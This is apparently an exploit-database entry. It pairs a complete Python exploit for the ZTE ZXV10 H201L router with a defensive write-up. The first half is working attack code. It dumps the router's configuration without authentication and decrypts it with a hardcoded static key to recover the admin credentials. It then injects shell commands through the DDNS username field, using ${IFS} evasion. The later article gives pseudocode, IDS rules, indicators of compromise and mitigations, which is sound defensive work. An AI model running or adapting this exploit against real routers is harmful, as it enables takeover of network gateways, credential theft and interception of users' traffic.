ZTE ZXV10 H201L - RCE via authentication bypass
# Exploit Title: ZTE ZXV10 H201L - RCE via authentication bypass
# Exploit Author: l34n (tasos meletlidis)
# https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/
import http.client, requests, os, argparse, struct, zlib
from io import BytesIO
from os import stat
from Crypto.Cipher import AES
def login(session, host, port, username, password):
login_token = session.get(f"http://{host}:{port}/").text.split("getObj(\"Frm_Logintoken\").value = \"")[1].split("\"")[0]
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"Username": username,
"Password": password,
"frashnum": "",
"Frm_Logintoken": login_token
}
session.post(f"http://{host}:{port}/", headers=headers, data=data)
def logout(session, host, port):
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"logout": "1",
}
session.post(f"http://{host}:{port}/", headers=headers, data=data)
def leak_config(host, port):
conn = http.client.HTTPConnection(host, port)
boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ"
body = (
f"--{boundary}\r\n"
'Content-Disposition: form-data; name="config"\r\n'
"\r\n"
"\r\n"
f"--{boundary}--\r\n"
)
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Content-Length": str(len(body)),
"Connection": "close",
}
conn.request("POST", "/getpage.gch?pid=101", body, headers)
response = conn.getresponse()
response_data = response.read()
with open("config.bin", "wb") as file:
file.write(response_data)
conn.close()
def _read_exactly(fd, size, desc="data"):
chunk = fd.read(size)
if len(chunk) != size:
return None
return chunk
def _read_struct(fd, fmt, desc="struct"):
size = struct.calcsize(fmt)
data = _read_exactly(fd, size, desc)
if data is None:
return None
return struct.unpack(fmt, data)
def read_aes_data(fd_in, key):
encrypted_data = b""
while True:
aes_hdr = _read_struct(fd_in, ">3I", desc="AES chunk header")
if aes_hdr is None:
return None
_, chunk_len, marker = aes_hdr
chunk = _read_exactly(fd_in, chunk_len, desc="AES chunk data")
if chunk is None:
return None
encrypted_data += chunk
if marker == 0:
break
cipher = AES.new(key.ljust(16, b"\0")[:16], AES.MODE_ECB)
fd_out = BytesIO()
fd_out.write(cipher.decrypt(encrypted_data))
fd_out.seek(0)
return fd_out
def read_compressed_data(fd_in, enc_header):
hdr_crc = zlib.crc32(struct.pack(">6I", *enc_header[:6]))
if enc_header[6] != hdr_crc:
return None
total_crc = 0
fd_out = BytesIO()
while True:
comp_hdr = _read_struct(fd_in, ">3I", desc="compression chunk header")
if comp_hdr is None:
return None
uncompr_len, compr_len, marker = comp_hdr
chunk = _read_exactly(fd_in, compr_len, desc="compression chunk data")
if chunk is None:
return None
total_crc = zlib.crc32(chunk, total_crc)
uncompressed = zlib.decompress(chunk)
if len(uncompressed) != uncompr_len:
return None
fd_out.write(uncompressed)
if marker == 0:
break
if enc_header[5] != total_crc:
return None
fd_out.seek(0)
return fd_out
def read_config(fd_in, fd_out, key):
ver_header_1 = _read_struct(fd_in, ">5I", desc="1st version header")
if ver_header_1 is None:
return
ver_header_2_offset = 0x14 + ver_header_1[4]
fd_in.seek(ver_header_2_offset)
ver_header_2 = _read_struct(fd_in, ">11I", desc="2nd version header")
if ver_header_2 is None:
return
ver_header_3_offset = ver_header_2[10]
fd_in.seek(ver_header_3_offset)
ver_header_3 = _read_struct(fd_in, ">2H5I", desc="3rd version header")
if ver_header_3 is None:
return
signed_cfg_size = ver_header_3[3]
file_size = stat(fd_in.name).st_size
fd_in.seek(0x80)
sign_header = _read_struct(fd_in, ">3I", desc="signature header")
if sign_header is None:
return
if sign_header[0] != 0x04030201:
return
sign_length = sign_header[2]
signature = _read_exactly(fd_in, sign_length, desc="signature")
if signature is None:
return
enc_header_raw = _read_exactly(fd_in, 0x3C, desc="encryption header")
if enc_header_raw is None:
return
encryption_header = struct.unpack(">15I", enc_header_raw)
if encryption_header[0] != 0x01020304:
return
enc_type = encryption_header[1]
if enc_type in (1, 2):
if not key:
return
fd_in = read_aes_data(fd_in, key)
if fd_in is None:
return
if enc_type == 2:
enc_header_raw = _read_exactly(fd_in, 0x3C, desc="second encryption header")
if enc_header_raw is None:
return
encryption_header = struct.unpack(">15I", enc_header_raw)
if encryption_header[0] != 0x01020304:
return
enc_type = 0
if enc_type == 0:
fd_in = read_compressed_data(fd_in, encryption_header)
if fd_in is None:
return
fd_out.write(fd_in.read())
def decrypt_config(config_key):
encrypted = open("config.bin", "rb")
decrypted = open("decrypted.xml", "wb")
read_config(encrypted, decrypted, config_key)
with open("decrypted.xml", "r") as file:
contents = file.read()
username = contents.split("IGD.AU2")[1].split("User")[1].split("val=\"")[1].split("\"")[0]
password = contents.split("IGD.AU2")[1].split("Pass")[1].split("val=\"")[1].split("\"")[0]
encrypted.close()
os.system("rm config.bin")
decrypted.close()
os.system("rm decrypted.xml")
return username, password
def command_injection(cmd):
injection = f"user;{cmd};echo "
injection = injection.replace(" ", "${IFS}")
return injection
def set_ddns(session, host, port, payload):
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"IF_ACTION": "apply",
"IF_ERRORSTR": "SUCC",
"IF_ERRORPARAM": "SUCC",
"IF_ERRORTYPE": -1,
"IF_INDEX": None,
"IFservice_INDEX": 0,
"IF_NAME": None,
"Name": "dyndns",
"Server": "http://www.dyndns.com/",
"ServerPort": None,
"Request": None,
"UpdateInterval": None,
"RetryInterval": None,
"MaxRetries": None,
"Name0": "dyndns",
"Server0": "http://www.dyndns.com/",
"ServerPort0": 80,
"Request0": "",
"UpdateInterval0": 86400,
"RetryInterval0": 60,
"MaxRetries0": 3,
"Name1": "No-IP",
"Server1": "http://www.noip.com/",
"ServerPort1": 80,
"Request1": "",
"UpdateInterval1": 86400,
"RetryInterval1": 60,
"MaxRetries1": 3,
"Name2": "easyDNS",
"Server2": "https://web.easydns.com/",
"ServerPort2": 80,
"Request2": "",
"UpdateInterval2": 86400,
"RetryInterval2": 180,
"MaxRetries2": 5,
"Enable": 1,
"Hidden": None,
"Status": None,
"LastError": None,
"Interface": "IGD.WD1.WCD3.WCIP1",
"DomainName": "hostname",
"Service": "dyndns",
"Username": payload,
"Password": "password",
"Offline": None,
"HostNumber": ""
}
session.post(f"http://{host}:{port}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch", headers=headers, data=data)
def pwn(config_key, host, port):
session = requests.Session()
leak_config(host, port)
username, password = decrypt_config(config_key)
login(session, host, port, username, password)
shellcode = "echo hacked>/var/tmp/pwned"
payload = command_injection(shellcode)
set_ddns(session, host, port, payload)
logout(session, host, port)
print("[+] PoC complete")
def main():
parser = argparse.ArgumentParser(description="Run remote command on ZTE ZXV10 H201L")
parser.add_argument("--config_key", type=lambda x: x.encode(), default=b"Renjx%2$CjM", help="Leaked config encryption key from cspd")
parser.add_argument("--host", required=True, help="Target IP address of the router")
parser.add_argument("--port", required=True, type=int, help="Target port of the router")
args = parser.parse_args()
pwn(args.config_key, args.host, args.port)
if __name__ == "__main__":
main() ZTE ZXV10 H201L — Remote Code Execution (RCE) via Authentication Bypass: Analysis, Impact, and Mitigations
This article examines a high‑severity vulnerability affecting the ZTE ZXV10 H201L series routers that can lead to remote code execution (RCE) by abusing an unauthenticated information‑disclosure endpoint and an insecure configuration workflow. The goal is defensive: explain the root cause, the attack surface, detection options, and practical mitigations for network operators, CERTs, and device administrators.
Executive summary
- The vulnerability chain combines an unauthenticated configuration‑dump endpoint, weak or static protection of the dumped configuration, and an application flow that accepts unsafe input in a service configuration field.
- Exploitation results in remote command execution on the device, which can be used for persistence, traffic interception, botnet recruitment, or complete device takeover.
- Mitigation requires firmware updates from the vendor, immediate hardening (restricting remote access, rotating credentials), and network controls to prevent untrusted parties from reaching the device management interface.
Why this matters
Residential and small‑office gateways are high‑value targets: they sit at the network perimeter, run as root‑privileged embedded Linux in many cases, and are often accessible from the Internet via misconfigured remote management. A single RCE can provide attackers with a persistent foothold and visibility into all traffic passing through the appliance.
Vulnerability components (high‑level)
- Unauthenticated configuration retrieval: An HTTP endpoint exposes an encrypted/compressed configuration file without requiring prior authentication, allowing remote adversaries to obtain the device configuration blob.
- Recoverable credentials: The configuration blob is protected using a known or recoverable key/algorithm. With that key, sensitive details such as administrator credentials are extractable offline.
- Unsafe configuration application: The web UI provides management operations (for example, dynamic DNS or other network services) that persist unvalidated inputs which are later used by system utilities or shell commands, enabling command injection.
- Resulting RCE: Combining recovered credentials and the unsafe configuration function enables an attacker to authenticate (or in some variants to bypass authentication entirely) and inject commands to be executed by the device operating system.
Technical analysis (defensive, conceptual)
The attack can be broken down into defensive stages to understand detection and mitigation measures:
- Stage 1 — Configuration dump: An unauthenticated HTTP POST request to a management endpoint returns a binary configuration file. This file is typically encrypted and compressed to save space and protect intellectual property, but if the protection key or algorithm is static, leaked, or can be reverse engineered, confidentiality fails.
- Stage 2 — Offline processing: The attacker processes the blob: verify headers, decompress, decrypt, and parse XML or proprietary structures to extract administrative credentials and other parameters. The process uses standard primitives (AES, zlib, CRC checks) and a static key or predictable key derivation in some implementations.
- Stage 3 — Credential use and unsafe config: With valid credentials (or if the device allows certain management actions without auth), the attacker posts a crafted configuration payload to a service configuration endpoint (e.g., DDNS/service settings). If the backend application concatenates or passes these parameters unsafely into system calls (shell execution, system(), popen(), or unsanitized scripts), command injection becomes possible.
- Stage 4 — Payload execution: The injected command runs with the privileges of the management process (often root), enabling arbitrary code execution, persistence, or data exfiltration.
Sanitized pseudocode (illustrates the attack flow without actionable details)
# Pseudocode (defensive conceptual view)
# 1. Retrieve config blob from unauthenticated endpoint
blob = http_post("http://router/management/config_dump", empty_multipart_body)
# 2. Validate headers and apply offline transformations
# (decompression, decryption using known/probable algorithm)
plaintext = decompress_and_decrypt(blob, key_hint)
# 3. Parse configuration and extract sensitive fields
admin_user = parse_xml(plaintext, "admin/username")
admin_pass = parse_xml(plaintext, "admin/password")
# 4. Authenticate to management interface (or leverage endpoints that don't require auth)
session = http_login("http://router", admin_user, admin_pass)
# 5. Submit a service config that includes an unsafe field
# (here shown as a placeholder: DO NOT re-create for offensive use)
malicious_field = "INJECTED_PAYLOAD_PLACEHOLDER"
session.post("http://router/management/apply_service", { "service_user": malicious_field })
Explanation: This pseudocode outlines the high‑level stages: retrieving an exposed configuration blob, transforming it to recover secrets, authenticating to the device, and sending a crafted service configuration. The placeholder makes the flow clear without providing a working exploit.
Indicators of compromise (IoCs) and detection guidance
- Unusual configuration download activity: POSTs to management endpoints with empty multipart bodies or atypical content-length values in short bursts.
- Unexpected configuration changes: new or modified DDNS entries, service names, or users in device configuration history/logs.
- Suspicious processes or files on the router: unexpected binaries or scripts under /tmp or /var, new cron entries, or persistent startup scripts.
- Outbound connections to previously unseen domains or IPs from the device, especially shortly after configuration changes.
- Login attempts from unusual external IP addresses, or credential reuse patterns across devices.
Network detection signatures (examples for defenders)
Below are generic, non‑exploitable detection rules you can adapt for IDS/IPS to catch attempts at the configuration dump or suspicious service configuration submissions. The examples intentionally avoid replicating exploit payloads and focus on anomalous patterns.
# Example Snort/Suricata-style detection heuristics (conceptual)
# Detect HTTP POSTs to management endpoints with an empty multipart form
alert http any any -> $HOME_NET 80 (msg:"Router config dump attempt - empty multipart"; http.method; content:"POST"; nocase; http.uri; content:"/getpage.gch"; http.request_body; content:"----WebKitFormBoundary"; pcre:"/Content-Disposition:\s*form-data;\s*name=\"config\"\r\n\r\n\r\n/"; sid:1000001; rev:1;)
# Detect HTTP POSTs to known service apply pages carrying many DDNS/service parameters
alert http any any -> $HOME_NET 80 (msg:"Routers - suspicious service config POST"; http.method; content:"POST"; nocase; http.uri; pcre:"/nextpage=.*app_ddns_conf_t\.gch/i"; sid:1000002; rev:1;)
Explanation: These rules flag characteristic HTTP requests used by management interfaces during configuration retrieval and service application. Customize URIs and patterns for your fleet and test thoroughly to reduce false positives.
Mitigation and hardening checklist
- Apply vendor patches: The primary fix is a firmware update that (a) requires authentication for config dumps, (b) replaces static/weak keys with per‑device keys stored securely, and (c) sanitizes inputs passed to system commands.
- Restrict management plane exposure: Block WAN access to router management ports (80/443/8080/8443, SSH/Telnet) using ISP‑level controls or upstream firewalls unless absolutely necessary.
- Rotate credentials: Change default/admin passwords and enforce strong, unique credentials per device. Where possible, enable multi‑factor authentication or local-only password policies.
- Disable unnecessary services: Turn off remote management, unused dynamic DNS, TR‑069, or similar features if not required.
- Network segmentation: Place CPE devices on separate management VLANs and monitor communications from those VLANs to the Internet.
- Integrity monitoring: Use configuration backups and checksums, and monitor for unexpected changes to device configuration files or system binaries.
- Device lifecycle policies: Maintain an inventory, track firmware versions, and replace unmanaged or end‑of‑life devices.
Response playbook (if compromise is suspected)
- Isolate the device from the Internet and internal networks immediately.
- Collect volatile and persistent artifacts: configuration files, logs, running process lists, and network connection history.
- Preserve the device for forensic analysis if possible; capture memory or full device image when feasible.
- Reboot alone is insufficient — consider a factory reset followed by a patched firmware flash and reconfiguration using clean credentials and backups verified for integrity.
- Notify upstream providers and relevant CERT teams if signs of large‑scale compromise or data exfiltration are present.
Vendor and disclosure considerations
Responsible disclosure is essential. If you discover a vulnerability in deployed devices, contact the vendor through their security channel and provide a concise, reproducible defensive report (IoCs, reproduction at a high level, and suggested mitigations). Public disclosure should wait until vendors can patch affected devices or after a coordinated disclosure timeline agreed with the vendor and any impacted stakeholders.
| Actor | Recommended actions |
|---|---|
| Network operators | Block remote management from WAN, deploy IDS rules, roll out firmware updates, inventory devices. |
| Device vendors | Require auth for sensitive endpoints, remove static keys, sanitize inputs, provide secure firmware update paths. |
| End users | Change default passwords, disable remote management, update firmware through vendor channels. |
Further reading and research
- Security advisories and research notes by reputable vendors and CERTs — consult vendor pages and national CERTs for published fixes.
- Embedded device hardening guides (secure boot, per‑device keys, access controls) for long‑term architectural fixes.
- Network monitoring best practices for perimeter devices and home gateway security checklists.
Concluding remarks (defensive focus)
The RCE class of vulnerabilities in CPE (customer premises equipment) devices is especially dangerous due to the privileged position and typical lack of hardening. The ZTE ZXV10 H201L example underscores three recurring themes: (1) avoid exposing management endpoints without strong authentication, (2) store per‑device secrets in a way that resists extraction, and (3) never pass user‑controllable strings to system executors without robust validation or use of safe APIs. Operators should prioritize firmware updates, network controls, and continuous monitoring to reduce risk.